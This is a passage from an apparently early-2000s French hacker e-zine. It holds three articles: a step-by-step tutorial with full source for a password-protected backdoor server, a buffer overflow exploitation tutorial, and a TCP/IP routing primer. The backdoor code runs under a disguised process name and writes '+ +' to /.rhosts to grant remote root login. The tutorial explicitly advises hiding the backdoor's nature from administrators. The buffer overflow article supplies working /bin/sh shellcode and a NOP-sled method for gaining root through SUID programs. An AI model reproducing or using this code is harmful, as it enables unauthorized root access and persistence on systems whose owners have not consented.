C'est la fonction bzero() qui s'en charge.
Son synopsis est :

#include <string.h>
bzero( void *s, size_t n );

Concrtement, cela se traduit par :

#include <string.h>
bzero(&structure, taille );

Pour remplir les 10 premiers bits de la structure local :

#include <string.h>
bzero(&local, 10);


La taille de la structure 'local' est "sizeof(local);", logique.
Donc pour remplir TOUTE la structure 'local', on utilise :

#include <string.h>
bzero(&local, sizeof(local));


On peut maintenant renseigner les trois champs de notre structure locale :            


             => Comme on  utilise le protocole Internet, la valeur du champ
                sin_family est trs souvent, et c'est le cas ici, "AF_INET".
                Ce qui donne :
             
                local.sin_family = AF_INET;

             => La valeur du port  couter est de type int mais doit tre 
                convertie en nombre binaire pour intgrer la structure utilise
                par bind(). La fonction htons() se charge de cette conversion.
                Sa syntaxe est :

                #include <netinet/in.h>
                htons( int port );

                Ce qui nous donne un champ sin_port :
                
                #include <netinet/in.h>
                #define PORT 1407
                local.sin_port = htons(PORT);
            
                Attention, pour que bind puisse ovrir un port, il faut que celui-ci
                ne le soit pas dja. Choisissez un numro de port >  1024, du genre
                de ceux qui ne sont pas attribus.

             => Enfin, le champ sin_addr.s_addr dsignant l'hte autoris  ce connecter
                doit tre rempli avec la valeur INADDR_ANY ce qui signife que la connection
                sur ce port est autorise quel que soit l'hte client.
                Ainsi :
 
                local.sin_addr.s_addr = INADDR_ANY;



En rsum, notre bind, une fois la structure dclare et remplie, est :

struct sockaddr_in local;

bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr= INADDR_ANY;

bind (sock, (struct sockaddr_in*)&local, sizeof(local));



Pour grer le code d'erreur on procde ainsi :


if (bind (sock, (struct sockaddr_in*)&local, sizeof(local))==-1){
          perror("bind");
          exit(-1);
}


Voila pour bind(), passons  la suite.







[ listen() ]

Voici la fonction qui intervient chronologiquement juste aprs bind().
Le rle de listen() est de dfinir le nombre maximum de connection pouvant
tre acceptes et gres en mme temps par notre serveur. Ce nombre, aussi 
apell "Backlog", dpend des capacits de la machine, en gnral, c'est une
valeur entre 4 et 6. Lorsqu'une connection est sur le point d'tre entame,
les segments TCP du client ont le flag SYN  1 ( voir mon article sur TCP/IP ).
Lorsque la demande de connection est effectue, la connection attend d'tre traite
par la fonction accept(). Si la backlog est de 5, la longueur de la file d'attente
est de 5 connections. ( Voir l'article de Lex Icon sur le SYNFlooding ).

Revenons  nos moutons ; listen() dfinit donc la taille de la backlog.
Sa syntaxe est :

#include <sys/socket.h>
listen( int socket, int backlog );

Dans notre exemple :

#include <sys/socket.h>
#define BACKLOG 5

listen(sock, BACKLOG);

On voit donc que la fonction listen() prend comme paramtres l'identifiant
du socket et le backlog.









[ while (1) ]

Nous voulons que le serveur reste actif en permanence, mme lorsque la connection
avec le client sera interrompue. On va donc plaer la suite du code dans une boucle
while. La suite du code est justement la fonction accept() ...








[ accept() ]

La fonction accept va traiter les demandes de connection.
Si aucune erreur n'est rencontre, la connection est accepte, dans le cas
contraire, la valeur -1 est retourne.
La syntaxe de la fonction accept est :

#include <sys/socket.h>
#include <sys/types.h>

accept( int socket, ( struct sockaddr_in *)structure, longueur);


Dans notre cas, on va dclarer la fonction ainsi :

#include <sys/socket.h>
#include <sys/types.h>

int size, sock;
struct sockaddr_in remote;
size=sizeof(struct sockaddr_in);

accept( sock, (struct sockaddr_in *)&remote, &size);


On plaera donc la fonction accept() dans la boucle dont nous avons parl
un peu plus haut.
 
On a vu que la valeur -1 est retourne en cas d'erreur lors de l'ouverture
de la connection. Voyons donc comment grer les erreurs ventuelles :


int new;

if((new=accept(sock, (struct sockadd_in *)&remote, &size))!=-1){
          /* La connection est tablie 
           * Il faut plaer ici les commandes
           * a faire excuter par le serveur 
           */

}


Voila, donc ici, on gre le code d'erreur en mme temps que l'on ouvre la connection.
Cette dernire tant tablie, il ne reste plus qu' crire les commandes  faire
excuter. 







[ /.rhosts ]

Dans mon exemple, nous allons crer un /.rhosts ce qui nous permettra de nous connecter
en root par rlogin ou rsh. Le /.rhosts ne doit tre prsent que de manire temporaire
et vous devrez le supprimer avant de partir. Ici le /.rhosts ne constitue pas une backdoor
en lui mme, voyez le plutt comme une sorte de clef que vous utilisez pour ouvrir la porte
du systme ( belle mtaphore file, non ? ). Pour y revenir, vous n'aurez plus qu' 
activer  nouveau le serveur. Enfin, l je m'carte de l'aspect programmation ...
Alors nos commandes :

#include <printf.h>
#include <unistd.h>

char buf[50];
sprintf(buf,"echo + +  >> /.rhosts");
system(buf);

Voila,  l'aide de sprintf() on crit dans un buffer que l'on excute ensuite grce
 la fonction system(). 



[ send() ]

On peut affichier du texte sur l'cran pour prvenir que le fichier /.rhosts a bien
t cre et donc que la connection s'est bien droule.
On utilise pour cela la commande send().
Sa syntaxe est la suivante :

send ( int socket, char *message, sizeof(message), 0);

Je ne sais pas  quoi correspond le 0 ...
Dans notre exemple, cela donne :


int new;
char msg[]="Votre texte\n";
if((new=accept(...))!=-1){
       /* ici il y aura nos commandes */
       send(new, msg, sizeof(msg), 0);
}

Voila, on a plus qu' couper la connection.






[ close() ]

Une fois notre fichier cre, il faut fermer la connection.
La commande close() s'en charge. 
L'identifiant assign au socket de la connection est "new" ( voir plus haut ).
Souvenez vous, pour ouvrir :

if((new=accept( ... )))


Donc pour fermer :

close(new);






Voila, nous venons de voir les diffrentes fonctions dons nous avons besoin pour
crire la backdoor. On va maintenant programmer notre outil pas  pas.










                      B. Programmation pas  pas :
                      ____________________________



Dabord les fichiers d'include :


#include <stdio.h>          ( pour printf, fpinrtf, sprintf )
#include <string.h>         ( pour bzero )
#include <unsitd.h>         ( pour system et geteuid )
#include <errno.h>          ( pour perror )
#include <netinet/in.h>     ( pour htons )
#include <sys/types.h>      ( pour socket, accept, bind )
#include <sys/socket.h>     ( pour listen, socket, accept, bind )


Ensuite, on dfinit le port et le backlog :

#define PORT 1407           ( ... une date aniversaire ;@)   )
#define BACKLOG 5           ( 5 pour une machine sous linux  )

On entre maintenant dans le main :


int main ( int argc, char *argv[]){


On va dfinir encore quelques trucs, le buffer pour la commande que l'on
fera excuter et le message d'acceuil qui s'affichera lors du dbut de 
la connection :

      char cmd[50];                                  
      char msg[]="\nVotre Message d'acceuil\n";      


Les choses srieuses commenent :


      int sock, new, size;
      struct sockaddr_in local;
      struct sockaddr_in remote;
      size=sizeof(struct sockaddr_in);

On vient de dfinir des variables de types int qui correspondront aux identificateurs
des sockets et une autre pour la  taile de la la structure.
On a aussi mentionn les deux structures que l'on va utiliser.
On va maintenant mettre les champs de la structure "local"  0 avant de les remplir.

      bzero(&local, sizeof(local));
      local.sin_family = AF_INET;
      local.sin_port = htons(PORT);
      local.sin_addr.s_addr = INADDR_ANY;


Avant d'aller plus loin, il faut vrifier que la backdoor est bien excute par le
root. On aurait pu plaer cette partie en dbut, mais prsentation oblige, on va la
plaer ici :


      if (geteuid()!=0){
          fprintf(stderr,"Only root can run this !\n");
          exit(1);
      }


Dans la foule, nous allons compter le nombre d'arguments de la ligne de commande pour 
avertir en cas d'erreur qu'aucun argument n'est attendu :


     
      if (argc!=1){
          fprintf(stderr,"Usage : %s&\n",argv[0]);
          exit(1);
      }

Vous pouvez,  ce niveau l, restreindre l'accs de la backdoor en la protgeant par
mot de passe :


#define PWD "-sys"

    if((strcmp(PWD, argv[1]))!=0){
           fprintf(stderr,"\'%s\' : No such argument \n", argv[1]);
           exit(1);
    }  

Dans ce cas, l'excutable devra tre invoqu par "./prog -sys &" avec le "&" pour tre 
excut en arrire plan. Si l'argument "-sys" n'est pas fourni, la backdoor sera inutilisable,
mme pour le root. Si le root tombe dessus, il faut que notre excutable ressemble  tout sauf
 une backdoor, donc si vous mettez un truc genre "wrong password for this backdoor" il
va piger dessuite. Le mieux, c'est de mettre un message d'erreur genre "no such argument", mais
a, c'est  vous de voir.

Maintenant que l'on s'est assur que l'excutable a t correctement lan, on peut passer 
la suite. On va dfinir le socket et grer le code d'erreur en mme temps :

      if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){
           perror("socket");
           exit(-1);
      }

Bien, le socket tant prt et la structure locale remplie, on attaque avec le bind()
pour ouvrir le port :

   
       if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){
            perror("bind");
            exit(-1);
       }  

Le port est ouvert, reste  dfinir le backlog ; pour cela listen() : 


        if( listen(sock, BACKLOG)==-1){
           perror("listen");
           exit(-1);
        }

Tout est prt pour initialiser la connection :


        while(1){
          
           if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){


On va maintenant dfinir ce qui devra tre fait si une connection est accepte :
                    
                   sprintf(cmd,"echo + +  >> /.rhosts\n");
                   system(cmd);


Tout s'est droul avec succs, on peut donc envoyer le message de confirmation :


                   send(new, msg, sizeof(success), 0);           
            }
    
            close(new);   
         }

         return 0;

}



Voila, on ferme le 'if', on clos la connection, on finit par fermer la boucle while,
et enfin on termine le main.
C'est termim, notre backdoor est fin prte, reste  compiler.







                    C. backserv.c :
                    _______________


             Voici le code source complet !
          


-------------8<---  cut here  --------------------------------------------------------------
    

/*  backserv.c v1.2      - Server Backdoor protected by password -   
 * 
 *                                    by NeoFox  [IOC]
 *
 *   
 * | Directions for use |
 *
 *
 *
 * When you're root :
 *
 * 1) # gcc backserv.c -o Xdisplay 
 * 2) # rm backserv.c
 * 3) # ./Xdisplay -sys&
 * 4) # exit
 *
 * Then as user ( local or remote ) :
 *
 * 1) % telnet cible.com 1407
 *      
 *      -  2001 [IOC] -
 *      Creating /.rhosts
 *        Ok, exiting !
 *      
 * 2) % rsh -l root cible.com csh -i
 * 3) # rm /.rhosts
 * 4) #
 *
 *
 */
 



#include <stdio.h> /* fprintf, sprintf */
#include <errno.h> /* perror */
#include <string.h> /* bzero */
#include <unistd.h> /* sizeof */
#include <netinet/in.h> /* htons */
#include <sys/socket.h> /* socket, listen */
#include <sys/types.h> /* socket, listen, accept */

#define PORT 1407    
#define BACKLOG 5
#define PWD "-sys"

int main (int argc, char *argv[])
{
    char cmd[50];
    /* do it with fun ! */
    char success[]="-------------------\n"
                   "\033[1;34m-  2001 IOC -\033[0m\n"
                   "\033[1;37mCreating /.rhosts ...\033[0m\n"
                   "\033[1;31mOK, exiting !\033[0m\n" 
                   "-------------------\n";
    int sock, new, size;
    struct sockaddr_in local;
    struct sockaddr_in remote;

    size=sizeof(struct sockaddr_in);
    /* empty struct */
    bzero(&local, sizeof(local));
    /* initialize struct */
    local.sin_family = AF_INET;
    local.sin_port = htons(PORT);
    local.sin_addr.s_addr = INADDR_ANY;
    
 

    /* must be run as root */
    if (geteuid()!=0){
         fprintf(stderr,"Only root can run this !\n");
         exit(1);
    }

    /* only 1 argument */
    if (argc!=2){
         fprintf(stderr,"Usage : %s&\n",argv[0]);
         exit(1);
    }
   
    /* checking password */
    if((strcmp(PWD, argv[1]))!=0){
         fprintf(stderr,"\'%s\' : wrong argument !\n", argv[1]);
         exit(1);
    }   

    /* creating socket */
    if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1){
           perror("socket");
           exit(-1);
    }
    /* bind */
    if( bind(sock,(struct sockaddr *)&local, sizeof(struct sockaddr_in))==-1){
           perror("bind");
           exit(-1);
    }   
    /* define our server's backlog */
    if( listen(sock, BACKLOG)==-1){
           perror("listen");
           exit(-1);
    }
    
    while(1){
         /* wait for a connection */
         if((new=accept(sock, (struct sockaddr *)&remote, &size))!=-1){
                /* creating file */
                sprintf(cmd,"echo + +  >> /.rhosts\n");
                system(cmd);
                /* our message */
                send(new, success, sizeof(success), 0);           
         }
         /* close connection */
         close(new); 
       
     }

    return 0;

}



-------------8<---  cut here  --------------------------------------------------------------





 




Conclusion :
____________

Ainsi s'achve cet article.
J'espre que ce dernier vous aura apris quelque chose et vous aura plu.
Si vous avez des questions, des commentaires, des critiques ou des conseils 
 me faire parvenir, n'hsitez pas  m'crire.





                                                   
















--------------------------------------------------------------------------------------------
VII.                         Buffer Overlows                  par Lex Icon                  
--------------------------------------------------------------------------------------------




--| INTRODUCTION |--

Cet article vous expliquera en gros ce que sont les Buffer Overflows et comment les exploiter. 
Une connaissance basique du C, de l'assembleur et de GDB seront trs utiles pour comprendre la 
suite de l'article.

         Les fichiers source sont tlchargeables depuis notre site 
             http://IOC.multimania.com/issue2/sourcecode-bof.zip





--|ORGANISATION DE LA MEMOIRE|--



La mmoire est partage en 3 rgions :

       - la zone texte, qui est utilise pour le stockage des instructions du programme. 
         A cause de a, cette rgion est marque en lecture seule et une tentative d'criture 
         se soldera par une erreur.

       - La zone de donnes. Les variables statiques sont stockes ici et sa taille peut tre 
         modifie par l'appel systme brk().

        - La pile. Sa particularit est que la dernire chose place dessus est la premire 
          chose a en tre enlev, ce qui en gros veut dire 'dernier arriv, premier dehors'.  
          Elle a t fate pour l'utilisation de fonctions et de procdures. Une procdure est 
          comme un jump, sauf qu'elle retourne aprs qu'elle ait excut ses instructions. 
          Une adresse de retour sera place sur la pile pour a. Elle est aussi utilise pour 
          allouer dynamiquement des variables utilises dans les fonctions, ses paramtres 
          et valeurs de retour.





--|ADRESSES DE RETOUR ET POINTEURS D'INSTRUCTION|--


L'ordinateur excute les instructions et garde un pointeur d'instructions 
(IP pour Instruction Pointer) qui pointe vers l'instruction suivante. Quand 
une fonction ou procdure est appele, l'ancien pointeur est sauv sur la pile 
comme adresse de retour (RET). Aprs l'excution, le RET remplacera l'IP et le 
programme continuera.



--|BUFFER OVERFLOW|--



Pour mieux comprendre, vous allez regarder le fichier EXEMPLE.C

Le programme cre deux chanes, memset() fout 0x41 (A) dans grosse_chaine, et ensuite, le contenu 
de la grosse chaine est copi dans la petite. Comme la petite chane ne peut pas supporter 100 
caractres, il y a un buffer overflow.
On regarde la mmoire :

[  grosse chaine  ]  [  petite chaine  ]  [  SFP  ]  [  RET  ]

Lors du buffer overflow, le SFP (Stack Frame Pointer) et le RET seront remplacs par des 'A', 
ce qui veut dire que RET aura la valeur 0x414141 (0x41 est la valeur hexadcimale de A). 
Quand la fonction sera termine, l'IP sera remplac par le RET erron. L'ordinateur essaiera d'excuter 
l'instruction  0x414141 ce qui mnera  une segmentation violation vu que l'adresse est en dehors de 
l'espace du processus.



--|EXPLOITATION|--

Maintenant qu'on sait qu'on peut changer le fonctionnement du programme en modifiant le RET, on peut 
essayer de l'exploiter. Au lieu de mettre des 'A', on peut mettre une adresse spcifique.





--|EXECUTION DE CODE ARBITRAIRE|--

Maintenant on a besoin de l'adresse de quelque chose  pointer et a excuter. 
Dans la plupart des cas, on voudra afficher un shell, mais ce n'est pas la seule 
chose qu'il est possible de faire.

Avant :

FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF 

B=Buffer
E=SFP
R=RET
F=Autres

Aprs :

FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF 

S=Shellcode
A=Adresse pointant vers le shellcode
F=Autres

SHELL.C pour voir comment afficher un shell.

Je ne vais pas expliquer ici comment gnrer du shellcode vu que a demande de 
savoir programmer en assembleur. C'est un processus long et chiant qu'on a pas 
besoin de connatre vu qu'il en existe suffisament.

Pour ceux qui veulent savoir comment on fait pour en gnrer :
- Compilez le programme du sessus avec le flag '-static'
- ouvrez le dans gdb et utilisez la commande 'disassemble main'
- prenez tout le code inutile
- changez le et re-crivez le, ce coup ci en assembleur
- compilez, ouvrez le dans gdb et utilisez la commande 'disassemble main'
- utilisez les commandes x/bx sur les adresses des instructions et rcuprez le code hexa

Ou alors, vous pouvez prendre ce code :

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";






--|TROUVER L'ADRESSE|--

Quand on essaye de faire dborder le buffer d'un autre programme, le problme est de trouver 
l'adresse du buffer. La rponse  ce problme est que pour chaque programme, la pile commence 
 la mme adresse. En sachant o commence la pile, on peut essayer de deviner quelle est 
l'adresse du buffer.


GET_SP.C nous donne son pointeur de pile :




--|ESSAYONS D'EXPLOITER UN EXEMPLE|--

On va exploiter ce programme:

--HOLE.C--

--EXPLOIT1.C--

Maintenant on peut essayer de deviner l'offset (bufferaddress = stackpointer + offset)

[meik]$ exploit1 600
Utilise l'adresse: 0xbffff6c3
[meik]$ ./hole $BUF
[meik]$ exploit1 600 100
Utilise l'adresse: 0xbffffce6
[meik]$ ./hole $BUF
Segmentation fault

Comme vous pouvez le constater, ce processus est carrment impossible - on doit connatre 
l'adresse exacte du buffer. Pour amliorer nos chances, on peut utiliser NOP avant le shellcode 
de notre bufferoverflow. L'instruction NOP permet de retarder l'excution. On l'utilise car on a 
pas besoin de deviner l'adresse exacte du buffer. Si l'adresse de retour crase pointe  
l'intrieur de la chane NOP. Notre code sera excut quelques secondes aprs. 
La mmoire devrait ressembler  ceci :

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

F = NOP
S = Shellcode
A = adresse pointant vers le shellcode
F = autres donnes

On re-crit notre vieil exploit.

[EXPLOIT2.C]

[meik]$ exploit2 600
Using address: 0xbffff6c3
[meik]$ ./hole $BUF
segmentation fault
[meik]$ exploit2 600 100
Using address: 0xbffffce6
[meik]$ ./hole $BUF
#exit
[meik]$

Pour amliorer encore plus notre exploit, on peut placer le shellcode dans une variable d'environement. 
On pourra ainsi faire dborder le buffer avec l'adresse de sa variable. Cette mthode augmentera nos 
chances encore plus.
On modifie notre code afin qu'il utilise l'appel setenv() pour mettre le shellcode dans l'environement. 

[EXPLOIT3.C]



--|TROUVER DES BUFFER OVERFLOWS|--

Il existe un seul moyen de trouver des buffer overflows, c'est en lisant le code source. 
Linux est un systme OpenSource, il est ainsi facile d'obtenir le code source. Longue vie  l'opensource !
-Cherchez des librairies de fonction qui n'excutent pas un contrle de limite comme: 
	strcpy(),strcat(), sprintf(), vsprintf(), scanf()
-D'autres dangers comme:
	getc() et getchar() dans un while ou encore une mauvaise utilisation de strncat.





--|REFERENCE BIBIOGRAPHIQUE|--

Smashing the stack for fun and profit - Aleph1
BufferOverflows - Mudge



--|CONCLUSION|--



J'espre que vous aurez apris des tas de choses en lisant ce document. 
En gros, vous aurez compris que a consiste  envoyer plus de donnes que prvu dans une 
variable afin de lui faire excuter du code qui permet de faire des tas de choses intressantes. 
Imaginez un programme en SUID, vous lui fates excuter de quoi lancer un shell et vous vous 
retrouvez root. Elle est pas belle la vie ?































---------------------------------------------------------------------------------------------
VIII.                  Introduction  TCP/IP (2/2)                par NeoFox         
----------------------------------------------------------------------------------------------
                      





                        Voici donc la suite de cette introduction  TCP/IP.
                        Vous trouverez  le  premier volet dans  l'issue #1, 
                             disponible en download depuis notre site.







                       ++++  Partie III : TCP/IP et le routage  ++++


                                       
                                      -> Gnralits
                                      -> Fonctionnement du routage
                                      -> Protocoles de routage







         
Si vous vous rapellez ce que vous avez lu au chaptre 3 " Le protocole Internet ",
(part. 1/2 ) vous vous souvenez que nous avons vaguement parl de routage ...
Eh ben on va approfondir !


                               

                          1) Gnralits :
                          ________________


Le routage est un procds qui permet l'acheminement des datagrames de la couche
internet d'un rseau  l'autre. Le routage rpond galement  un besoin essentiel,
le fractionnement des rseaux. Je m'explique : rapellez vous que sur un rseau,
chaque carte rseau de chaque machine examine toutes les trames qui y circulent
pour capturer les trames qui lui sont destines. Comme il est matriellement
impossible qu'une carte rseau examine tout le trafic, le fractionnement est
mis en place pour segmenter un rseau de grande taille en plusieurs sous-rseaux.
De cette faon, les machines ne sont plus obliges de scruter tout le trafic,
mais seulement celui du sous-rseau auquel elles appartiennent.  
Le fractionnement permet galement d'allger le trafic.
Le routage est rendu possible par l'utilisation de routeurs.

Qu'est-ce qu'un routeur ?!
Une routeur est responsable de l'acheminement des trames d'un rseau  un autre, en les 
orientant par adresses logiques.
Un routeur est une machine qui possde plusieurs cartes rseaux. Il peut ainsi
interconnecter plusieurs rseaux ou sous-rseaux, mme si ceux ci sont d'architecture
diffrente. En effet, il travaille au niveau de la couche Internet TCP/IP et
on a vu que cette couche ne se souciait pas des contraintes lies au matriel.
Donc ntre routeur va pourvoir mettre en relation par exemple un rseau Ethernet et un
rseau  jeton. Dans cet exemple, le routeur dispose d'une carte rseau Ethernet et d'une 
autre style Token Ring. Lorsque le routeur est invoqu par une machine de l'Ethernet, 
celui-ci reoit la trame au  format Ethernet via sa carte rseau, la couche IP consulte 
l'en-tte du datagrame pour se rendre compte finalement que le datagrame est destin 
une machine d'un rseau rattach  ce routeur, il dirige les donnes vers la carte rseau 
correspondante qui se trouve tre celle d'un Token Ring. 
Cette carte formatte les donnes et place les trames sur le rseau  anneau  jeton o 
elles seront rcupres par la machine destinataire.
De la mme manire, un routeur peut relier autant de rseaux qu'il possde de 
cartes rseaux. Souvenez vous que l'adresse IP est attribue  la carte rseau d'une
machine et non  la machine elle mme. Un routeur peut donc avoir plusieurs adresses IP.

Administration d'un routeur :
Les Administrateurs Rseaux utilisent certains logiciels de supervisation pour tre 
en permanence tenus informs de l'tat de leur rseaux, du bon fonctionnement ou au
contraire d'une avarie survenue  l'un de leurs routeurs etc ...
Ces logiciels implmentent un protocole apell " Simple Network Management Protcol "
ou SNMP. Ce protocole permet aux applications d'changer des informations de configuration
avec les routeurs du rseau. Ces applications fonctionnent au port 161.
Il est galement possible  un administrateur de se connecter  l'un de ses routeurs
par Telnet. 

Voila pour les dfinitions, voyons mainenant le fonctionnement plus en dtail.



                        2) Fonctionnement du Routage :            
                        ______________________________




                               2.1  Les grandes tapes du routage :
                               ____________________________________
                                          

Un routeur reoit les trames des rseaux auquels il est connect via ses cartes rseaux.
Il transmet les donnes  la couche Internet mais ne tient pas compte des en-ttes de 
la couche AR. La couche Internet rassemble le datagrame si besoin 
( rapellons que les trames peuvent avoir t fragmentes par l'expditeur ).
Cette mme couche inspecte l'en-tte du datagrame et prend note de l'adresse IP de la 
source et de celle du destinataire. S'il en dduit que la source et le destinataire sont 
sur le mme rseau, il n'intervient pas. Par contre, si le destinataire fait partie d'un 
rseau distant, le routeur comprend que les datagrames doivent tre exports. 
Il consulte alors sa Table de Routage pour savoir sur quel rseau l'envoyer. 
Il dtermine donc quelle carte rseau devra grer les trames.
Il passe ensuite les datagrames  la couche Accs Rseau qui va les placer via cette carte
sur le rseau correspondant en procdant, si besoin est ( c'est  dire si l'architecture du
rseau de destination diffre de celui de la source )  un reformattage. Une fois les 
trames plaes sur le rseau de destination, ce sont les protocoles de bas niveau qui
vont se charger de les acheminer jusqu'au destinataire.


Voyons cela  l'aide d'un schma o une machine du rseau A veut dialoguer avec
une machine du rseau B:


                            ______________________________
                           |                              |
                           |                              |                              
                           | Routeur reliant les rseaux  |
                           |                              |
                           |         A  et  B             |
                           |                              |
                           |                              |
                            ______________________________
                            ______________________________
                           |                              |
                           |  Couche Internet du Routeur  |                            
                           |                              | 
                            ______________________________
                            ______________________________           
                           |                              |        
                           |     Couche AR du Routeur     |          
                           |                              |          
                            ______________________________           
                            -----^------      -----v------
                           |            |    |            |
                           |Carte Rseau|    |Carte Rseau|
                           |     A      |    |     B      |  
                            ------------      ------------
                                 |                 |
                      ----->-----                   ----->-----
                     |                                         |
           
                  Rseau A                                  Rseau B
           ________     ________                      ________     ________
          |        | | |        |                    |        | | |        |
          |machine1|_|_|machine2|                    |machine1|_|_|machine2| 
          |        | | |        |                    |        | | |        |
           ________  |  ________                      ________  |  ________
                     |                                          |
                 ________                                    ________
                |        |                                  |        |
                |machine3|                                  |machine3|
                |        |                                  |        |
                 ________                                    ________





Pour savoir vers quelle sortie diriger les trames, le routeur consulte comme 
nous l'avons dit sa table de routage ...





                                 2.2  Les Tables de Routage :
                                 ____________________________



Dfinition :
____________

Une Table de Routage est un fichier que le routeur va consulter pour dterminer
l'adresse du rseau auquel il devra transmettre les trames qui lui parviennent.
Ce fichier dfinit le rseau de destination en fonction de l'adresse IP de la source.
Il ne contient pas l'adresse logique de chaque hte de chaque rseau car comme nous
l'avons, sur le rseau de destination ce sont les protocoles de la couche AR qui se 
chargent de la livraison  la bonne machine. Le rle d'un routeur se limite ainsi 
( et c'est dja beaucoup )  dterminer le rseau distant sur le quel devront tre 
aiguilles les trames. Une Table de Routage contient donc une liste d'ID rseau.
Elle dfinit l'ID du rseau de destination et le port physique ( carte rseau ) 
correspondant, par lequel sortieront les trames  direction de la cible.
Si l'adresse du rseau de destination ne figure pas sur sa table de routage,
le routeur passera les trames  un autre routeur plus prs du rseau vis.
La Table de routage sert donc  dterminer soit l'adresse du rseau de destination
si le routeur le relie directement ( connection directe ), soit celle d'un autre routeur.




Analyse d'une Table de Routage :
________________________________


                                                           
La Table de routage comporte plusieurs colones dans lesquelles sont classes les informations
utiles au routage. La premire colone pourrait tre appelle " Prochain Saut ". Un saut 
dsigne le franchissement d'un routeur ou d'une machine. Ainsi, si on dit d'une machine
qu'elle est  5 sauts du destinataire, cela siginife que les donnes devront tre relayes
par 4 routeurs, le 5eme saut les amenant  destination. La premire colone de la 
table de routage contient donc l'adresse de la prochaine machine  laquelle le routeur
devra envoyer les trames, ou l'adresse du rseau de destination si le routeur est en 
connection directe avec celui-ci.

On va simplifier, le but tant d'exposer le concept.
Une Table de Routage se prsente en gros comme a :



Network Address---------Subnet Mask-----------Via Router------Port------------Type------
            
10.0.0.0                255.0.0.0             10.0.0.10       Ethernet WAN                         
127.0.0.1               255.255.255.255       127.0.0.1       Loopback        Local 
192.168.1.0             255.255.255.0         192.168.1.1     Ethernet LAN    




Pour information, les 2 cartes rseaux de ce routeur :

Celle connecte au WAN :   00-00-c5-81-ae-d6    10.0.0.1     
Celle connecte au LAN :   00-00-c5-81-ae-d4    192.168.1.1


Voyons  quoi correspond chaque colone :

Network Address  =  Adresse logique du prochain saut
Subnet Mask      =  Masque de sous-rseau
Via Router       =  Adresse logique de la carte rseau correspondante
Port             =  Nom du port physique reli  cette carte 


  
On va maintenant commenter chaque ligne une par une :


(1) 10.0.0.0                255.0.0.0             10.0.0.10       Ethernet WAN                              

Le rseau ayant pour adresse 10.0.0.0 est un rseau de Classe A comme le montre le 
masque de sous-rseau. Si le routeur reoit des trames  destination d'une machine
de ce rseau, il devra les diriger vers sa carte rseau ayant pour adresse logique
10.0.0.10 qui fonctionne sur le port en connection directe avec le WAN ( rapellons
que WAN siginife " Wide Aera Network ", soit rseau tendu ).
         

(2) 127.0.0.1               255.255.255.255       127.0.0.1       Loopback        Local 

Cette ligne correspond  l'IP de loopback, pas de redirection.



(3) 192.168.1.0             255.255.255.0         192.168.1.1     Ethernet LAN    


Si le routeur reoit un paquet est  destination d'une machine du rseau 192.168.1.0,
rseau de classe C comme l'indique le masque de sous rseau, il va  le rediriger vers
la carte rseau dont l'adresse logique est 192.168.1.1. Cette carte en connection directe 
avec le LAN Ethernet. 

On voit donc ici que le routeur connecte son rseau local ( LAN ) au rseau tendu ( WAN )
possdant pour ce faire les 2 cartes rseau correspondantes. Il peut aiguiller les trames
soit vers le rseau tendu, soit vers le rseau local.



Il existe deux sortes de routage qui dpendent enfait de la manire dont la Table de
Routage est gnre. Il y a donc le routage statique et le routage dynamique.
Dans le cas d'un routage statique, la Table est gnre manuellement par l'administrateur.
Dans le cas d'un routage dynamique, la Table est gnre automatiquement par des protocoles
de routage.





                                         

                         3)  Protocoles de Routage :
                         ___________________________




Nous avons dit que les tables de routage peuvent tre gnres automatiquement par
des protocoles de routage. Je m'explique : dans un rseau de grande taille ou ncessitant
un grand nombre de routeurs, plusieurs itinraires peuvent tre utilises pour relier
une machine A  une machine B distante. De plus certains axes peuvent tre surchargs ou certains
routeurs hors services. Le rle des protocoles de routages est alors d'assurer et d'optimiser
le transit des informations. C'est l qu'interviennent RIP et OSPF ...




RIP en un mot :
_______________


RIP siginife " Routing Information Protocol ", protocole d'information de routage.
Sous RIP, chaque routeur diffuse des informations sur lui-mme ainsi que sur l'tat
des routeurs qui le sparent des routeurs de son rseau. Si un routeur tombe en 
panne, ou qu'une liaison est dfectueuse, les autres routeurs de rseau s'informent les
uns les autres sur la localisation du disfonctionnement ce qui leur permet de modifier
en consquence leur table de routage. Un nouveau chemin est dtermin pour atteindre la
cible, et les trames sont rediriges vers un autre routeur qui va prendre le relai de 
celui qui qui vient de nous lcher.  
Sous RIP, chaque routeur transmet une valeur " nombre de sauts "  son voisin. Lorsque
un routeur reoit ces valeurs de ses voisins, il l'incrmente de 1, puis le passe tous
les autres routeurs auquels il est rattach. Ainsi, chaque routeur connait prcisment
la distance qui le spare de chacun de ses voisins. Sous RIP, l'mission de ces informations
a lieu toutes les 30 secondes.
L'ennui avec RIP c'est qu'il ne permet l'mission d'informations que sur une distance de 
16 sauts. Sa porte est donc limite. L'autre problme de RIP c'est que l'mission de ces 
informations inter-routeurs contribue  augmenter le trafic et peut encombrer la bande passante. 
C'est comme si vous regardiez M6 et qu'il y avait un flash info "le 6 minutes" tous les 1/4 
d'h ! Ca serait chiant pour regarder la petite maison dans la prairie, non ? 
Euh, bon, l, je m'garre. Mais de tout faon, RIP est en cours de remplaement par OSPF. 





OSPF en un mot :
________________


OSPF signifie " Open Shortest Path First ", le plus court chemin d'abord. 
OSPF dtermine le plus court chemin vers la cible. 
Les logiciels implmentant ce protocole de routage permettent au routeur de
transmettre l'intgralit de sa table de routage. Ces informations ne sont
transmises qu' ces voisins directs, auquels ils est directement,  la diffrence
de RIP qui balane les infos  tous les autres routeurs du rseau. 
Un routeur tombe en panne, son voisin direct est inform, il modifie sa table en 
consquence, puis la passe  son voisin direct. Chaque routeur est ragit donc
 l'avarie  la manire de dominos qui se cassent la gueule : tout changement de la 
